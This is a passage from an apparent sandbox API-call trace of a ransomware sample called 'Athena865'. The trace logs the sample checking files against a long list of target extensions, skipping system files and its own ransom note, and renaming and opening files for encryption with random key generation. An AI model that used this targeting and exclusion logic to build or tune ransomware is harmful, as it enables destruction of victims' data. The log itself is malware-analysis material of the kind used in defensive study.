(lpString="dbf") returned 3 [0113.309] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0113.309] lstrlenW (lpString="mdf") returned 3 [0113.309] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0113.309] lstrlenW (lpString="mdb") returned 3 [0113.309] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0113.309] lstrlenW (lpString="sql") returned 3 [0113.309] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0113.309] lstrlenW (lpString="sqlite") returned 6 [0113.309] lstrcmpiW (lpString1="DR.EXE", lpString2="sqlite") returned -1 [0113.309] lstrlenW (lpString="sqlite3") returned 7 [0113.309] lstrcmpiW (lpString1="LDR.EXE", lpString2="sqlite3") returned -1 [0113.309] lstrlenW (lpString="sqlitedb") returned 8 [0113.309] lstrcmpiW (lpString1="TLDR.EXE", lpString2="sqlitedb") returned 1 [0113.309] lstrlenW (lpString="xml") returned 3 [0113.309] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0113.309] lstrlenW (lpString="$er") returned 3 [0113.309] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0113.309] lstrlenW (lpString="4dd") returned 3 [0113.310] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0113.310] lstrlenW (lpString="4dl") returned 3 [0113.310] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0113.310] lstrlenW (lpString="^^^") returned 3 [0113.310] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0113.310] lstrlenW (lpString="abs") returned 3 [0113.310] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0113.310] lstrlenW (lpString="abx") returned 3 [0113.310] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0113.310] lstrlenW (lpString="accdb") returned 5 [0113.310] lstrcmpiW (lpString1="R.EXE", lpString2="accdb") returned 1 [0113.310] lstrlenW (lpString="accdc") returned 5 [0113.310] lstrcmpiW (lpString1="R.EXE", lpString2="accdc") returned 1 [0113.310] lstrlenW (lpString="accde") returned 5 [0113.310] lstrcmpiW (lpString1="R.EXE", lpString2="accde") returned 1 [0113.310] lstrlenW (lpString="accdr") returned 5 [0113.310] lstrcmpiW (lpString1="R.EXE", lpString2="accdr") returned 1 [0113.310] lstrlenW (lpString="accdt") returned 5 [0113.310] lstrcmpiW (lpString1="R.EXE", lpString2="accdt") returned 1 [0113.310] lstrlenW (lpString="accdw") returned 5 [0113.310] lstrcmpiW (lpString1="R.EXE", lpString2="accdw") returned 1 [0113.310] lstrlenW (lpString="accft") returned 5 [0113.310] lstrcmpiW (lpString1="R.EXE", lpString2="accft") returned 1 [0113.310] lstrlenW (lpString="adb") returned 3 [0113.310] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0113.310] lstrlenW (lpString="adb") returned 3 [0113.310] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0113.310] lstrlenW (lpString="ade") returned 3 [0113.310] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0113.311] lstrlenW (lpString="adf") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0113.311] lstrlenW (lpString="adn") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0113.311] lstrlenW (lpString="adp") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0113.311] lstrlenW (lpString="alf") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0113.311] lstrlenW (lpString="ask") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0113.311] lstrlenW (lpString="btr") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0113.311] lstrlenW (lpString="cat") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0113.311] lstrlenW (lpString="cdb") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0113.311] lstrlenW (lpString="ckp") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0113.311] lstrlenW (lpString="cma") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0113.311] lstrlenW (lpString="cpd") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0113.311] lstrlenW (lpString="dacpac") returned 6 [0113.311] lstrcmpiW (lpString1="DR.EXE", lpString2="dacpac") returned 1 [0113.311] lstrlenW (lpString="dad") returned 3 [0113.311] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0113.311] lstrlenW (lpString="dadiagrams") returned 10 [0113.312] lstrlenW (lpString="daschema") returned 8 [0113.312] lstrcmpiW (lpString1="TLDR.EXE", lpString2="daschema") returned 1 [0113.312] lstrlenW (lpString="db-journal") returned 10 [0113.312] lstrlenW (lpString="db-shm") returned 6 [0113.312] lstrcmpiW (lpString1="DR.EXE", lpString2="db-shm") returned 1 [0113.312] lstrlenW (lpString="db-wal") returned 6 [0113.312] lstrcmpiW (lpString1="DR.EXE", lpString2="db-wal") returned 1 [0113.312] lstrlenW (lpString="dbc") returned 3 [0113.312] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0113.312] lstrlenW (lpString="dbs") returned 3 [0113.312] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0113.312] lstrlenW (lpString="dbt") returned 3 [0113.312] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0113.312] lstrlenW (lpString="dbv") returned 3 [0113.312] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0113.312] lstrlenW (lpString="dbx") returned 3 [0113.312] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0113.312] lstrlenW (lpString="dcb") returned 3 [0113.312] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0113.312] lstrlenW (lpString="dct") returned 3 [0113.312] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0113.312] lstrlenW (lpString="dcx") returned 3 [0113.312] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0113.312] lstrlenW (lpString="ddl") returned 3 [0113.312] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0113.312] lstrlenW (lpString="dlis") returned 4 [0113.312] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0113.312] lstrlenW (lpString="dp1") returned 3 [0113.312] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0113.313] lstrlenW (lpString="dqy") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0113.313] lstrlenW (lpString="dsk") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0113.313] lstrlenW (lpString="dsn") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0113.313] lstrlenW (lpString="dtsx") returned 4 [0113.313] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0113.313] lstrlenW (lpString="dxl") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0113.313] lstrlenW (lpString="eco") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0113.313] lstrlenW (lpString="ecx") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0113.313] lstrlenW (lpString="edb") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0113.313] lstrlenW (lpString="epim") returned 4 [0113.313] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0113.313] lstrlenW (lpString="fcd") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0113.313] lstrlenW (lpString="fdb") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0113.313] lstrlenW (lpString="fic") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0113.313] lstrlenW (lpString="flexolibrary") returned 12 [0113.313] lstrlenW (lpString="fm5") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0113.313] lstrlenW (lpString="fmp") returned 3 [0113.313] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0113.313] lstrlenW (lpString="fmp12") returned 5 [0113.314] lstrcmpiW (lpString1="R.EXE", lpString2="fmp12") returned 1 [0113.314] lstrlenW (lpString="fmpsl") returned 5 [0113.314] lstrcmpiW (lpString1="R.EXE", lpString2="fmpsl") returned 1 [0113.314] lstrlenW (lpString="fol") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0113.314] lstrlenW (lpString="fp3") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0113.314] lstrlenW (lpString="fp4") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0113.314] lstrlenW (lpString="fp5") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0113.314] lstrlenW (lpString="fp7") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0113.314] lstrlenW (lpString="fpt") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0113.314] lstrlenW (lpString="frm") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0113.314] lstrlenW (lpString="gdb") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0113.314] lstrlenW (lpString="gdb") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0113.314] lstrlenW (lpString="grdb") returned 4 [0113.314] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0113.314] lstrlenW (lpString="gwi") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0113.314] lstrlenW (lpString="hdb") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0113.314] lstrlenW (lpString="his") returned 3 [0113.314] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0113.315] lstrlenW (lpString="ib") returned 2 [0113.315] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0113.315] lstrlenW (lpString="idb") returned 3 [0113.315] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0113.315] lstrlenW (lpString="ihx") returned 3 [0113.315] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0113.315] lstrlenW (lpString="itdb") returned 4 [0113.315] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0113.315] lstrlenW (lpString="itw") returned 3 [0113.315] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0113.315] lstrlenW (lpString="jet") returned 3 [0113.315] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0113.315] lstrlenW (lpString="jtx") returned 3 [0113.315] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0113.315] lstrlenW (lpString="kdb") returned 3 [0113.315] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0113.315] lstrlenW (lpString="kexi") returned 4 [0113.315] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0113.315] lstrlenW (lpString="kexic") returned 5 [0113.315] lstrcmpiW (lpString1="R.EXE", lpString2="kexic") returned 1 [0113.315] lstrlenW (lpString="kexis") returned 5 [0113.315] lstrcmpiW (lpString1="R.EXE", lpString2="kexis") returned 1 [0113.315] lstrlenW (lpString="lgc") returned 3 [0113.315] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0113.315] lstrlenW (lpString="lwx") returned 3 [0113.315] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0113.315] lstrlenW (lpString="maf") returned 3 [0113.315] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0113.316] lstrlenW (lpString="maq") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0113.316] lstrlenW (lpString="mar") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0113.316] lstrlenW (lpString="marshal") returned 7 [0113.316] lstrcmpiW (lpString1="LDR.EXE", lpString2="marshal") returned -1 [0113.316] lstrlenW (lpString="mas") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0113.316] lstrlenW (lpString="mav") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0113.316] lstrlenW (lpString="maw") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0113.316] lstrlenW (lpString="mdbhtml") returned 7 [0113.316] lstrcmpiW (lpString1="LDR.EXE", lpString2="mdbhtml") returned -1 [0113.316] lstrlenW (lpString="mdn") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0113.316] lstrlenW (lpString="mdt") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0113.316] lstrlenW (lpString="mfd") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0113.316] lstrlenW (lpString="mpd") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0113.316] lstrlenW (lpString="mrg") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0113.316] lstrlenW (lpString="mud") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0113.316] lstrlenW (lpString="mwb") returned 3 [0113.316] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0113.317] lstrlenW (lpString="myd") returned 3 [0113.317] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0113.317] lstrlenW (lpString="ndf") returned 3 [0113.317] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0113.317] lstrlenW (lpString="nnt") returned 3 [0113.317] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0113.317] lstrlenW (lpString="nrmlib") returned 6 [0113.317] lstrcmpiW (lpString1="DR.EXE", lpString2="nrmlib") returned -1 [0113.317] lstrlenW (lpString="ns2") returned 3 [0113.317] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0113.317] lstrlenW (lpString="ns3") returned 3 [0113.317] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0113.317] lstrlenW (lpString="ns4") returned 3 [0113.317] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0113.317] lstrlenW (lpString="nsf") returned 3 [0113.317] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0113.317] lstrlenW (lpString="nv") returned 2 [0113.317] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0113.317] lstrlenW (lpString="nv2") returned 3 [0113.317] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0113.317] lstrlenW (lpString="nwdb") returned 4 [0113.317] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0113.317] lstrlenW (lpString="nyf") returned 3 [0113.317] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0113.317] lstrlenW (lpString="odb") returned 3 [0113.317] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0113.317] lstrlenW (lpString="odb") returned 3 [0113.317] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0113.317] lstrlenW (lpString="oqy") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0113.318] lstrlenW (lpString="ora") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0113.318] lstrlenW (lpString="orx") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0113.318] lstrlenW (lpString="owc") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0113.318] lstrlenW (lpString="p96") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0113.318] lstrlenW (lpString="p97") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0113.318] lstrlenW (lpString="pan") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0113.318] lstrlenW (lpString="pdb") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0113.318] lstrlenW (lpString="pdm") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0113.318] lstrlenW (lpString="pnz") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0113.318] lstrlenW (lpString="qry") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0113.318] lstrlenW (lpString="qvd") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0113.318] lstrlenW (lpString="rbf") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0113.318] lstrlenW (lpString="rctd") returned 4 [0113.318] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0113.318] lstrlenW (lpString="rod") returned 3 [0113.318] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0113.319] lstrlenW (lpString="rodx") returned 4 [0113.319] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0113.319] lstrlenW (lpString="rpd") returned 3 [0113.319] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0113.319] lstrlenW (lpString="rsd") returned 3 [0113.319] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0113.319] lstrlenW (lpString="sas7bdat") returned 8 [0113.319] lstrcmpiW (lpString1="TLDR.EXE", lpString2="sas7bdat") returned 1 [0113.319] lstrlenW (lpString="sbf") returned 3 [0113.319] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0113.319] lstrlenW (lpString="scx") returned 3 [0113.319] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0113.319] lstrlenW (lpString="sdb") returned 3 [0113.319] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0113.319] lstrlenW (lpString="sdc") returned 3 [0113.319] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0113.319] lstrlenW (lpString="sdf") returned 3 [0113.319] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0113.319] lstrlenW (lpString="sis") returned 3 [0113.319] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0113.319] lstrlenW (lpString="spq") returned 3 [0113.319] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0113.319] lstrlenW (lpString="te") returned 2 [0113.319] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0113.319] lstrlenW (lpString="teacher") returned 7 [0113.319] lstrcmpiW (lpString1="LDR.EXE", lpString2="teacher") returned -1 [0113.319] lstrlenW (lpString="tmd") returned 3 [0113.319] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0113.319] lstrlenW (lpString="tps") returned 3 [0113.320] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0113.320] lstrlenW (lpString="trc") returned 3 [0113.320] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0113.320] lstrlenW (lpString="trc") returned 3 [0113.320] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0113.320] lstrlenW (lpString="trm") returned 3 [0113.320] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0113.320] lstrlenW (lpString="udb") returned 3 [0113.320] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0113.320] lstrlenW (lpString="udl") returned 3 [0113.320] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0113.320] lstrlenW (lpString="usr") returned 3 [0113.320] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0113.320] lstrlenW (lpString="v12") returned 3 [0113.320] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0113.320] lstrlenW (lpString="vis") returned 3 [0113.320] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0113.320] lstrlenW (lpString="vpd") returned 3 [0113.320] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0113.320] lstrlenW (lpString="vvv") returned 3 [0113.320] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0113.320] lstrlenW (lpString="wdb") returned 3 [0113.321] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0113.321] lstrlenW (lpString="wmdb") returned 4 [0113.321] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0113.321] lstrlenW (lpString="wrk") returned 3 [0113.321] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0113.321] lstrlenW (lpString="xdb") returned 3 [0113.321] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0113.321] lstrlenW (lpString="xld") returned 3 [0113.321] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0113.321] lstrlenW (lpString="xmlff") returned 5 [0113.321] lstrcmpiW (lpString1="R.EXE", lpString2="xmlff") returned -1 [0113.321] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.Athena865") returned 76 [0113.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.athena865"), dwFlags=0x1) returned 1 [0113.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0113.331] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=157024) returned 1 [0113.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0113.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0113.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0113.331] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0113.332] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0113.332] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.332] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26860, lpName=0x0) returned 0x17c [0113.333] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26860) returned 0x170000 [0113.341] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0113.341] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0113.341] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0113.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0113.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0113.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0113.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0113.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0113.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0113.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0113.342] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0113.343] CloseHandle (hObject=0x17c) returned 1 [0113.343] CloseHandle (hObject=0x154) returned 1 [0113.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0113.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0113.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0113.344] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce041f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce041f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0113.344] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0113.344] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0113.344] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0113.344] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0113.344] lstrcmpiW (lpString1="IACOM2.DLL", lpString2=".") returned 1 [0113.344] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="..") returned 1 [0113.344] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="windows") returned -1 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="bootmgr") returned 1 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="temp") returned -1 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="pagefile.sys") returned -1 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="boot") returned 1 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="ids.txt") returned -1 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="ntuser.dat") returned -1 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="perflogs") returned -1 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="MSBuild") returned -1 [0113.345] lstrlenW (lpString="IACOM2.DLL") returned 10 [0113.345] lstrcpyW (in: lpString1=0x241e8b8, lpString2="IACOM2.DLL" | out: lpString1="IACOM2.DLL") returned="IACOM2.DLL" [0113.345] lstrlenW (lpString="IACOM2.DLL") returned 10 [0113.345] lstrlenW (lpString="Athena865") returned 9 [0113.345] lstrcmpiW (lpString1="ACOM2.DLL", lpString2="Athena865") returned -1 [0113.345] lstrlenW (lpString=".dll") returned 4 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2=".dll") returned 1 [0113.345] lstrlenW (lpString=".lnk") returned 4 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2=".lnk") returned 1 [0113.345] lstrlenW (lpString=".ini") returned 4 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2=".ini") returned 1 [0113.345] lstrlenW (lpString=".sys") returned 4 [0113.345] lstrcmpiW (lpString1="IACOM2.DLL", lpString2=".sys") returned 1 [0113.345] lstrlenW (lpString="IACOM2.DLL") returned 10 [0113.345] lstrlenW (lpString="bak") returned 3 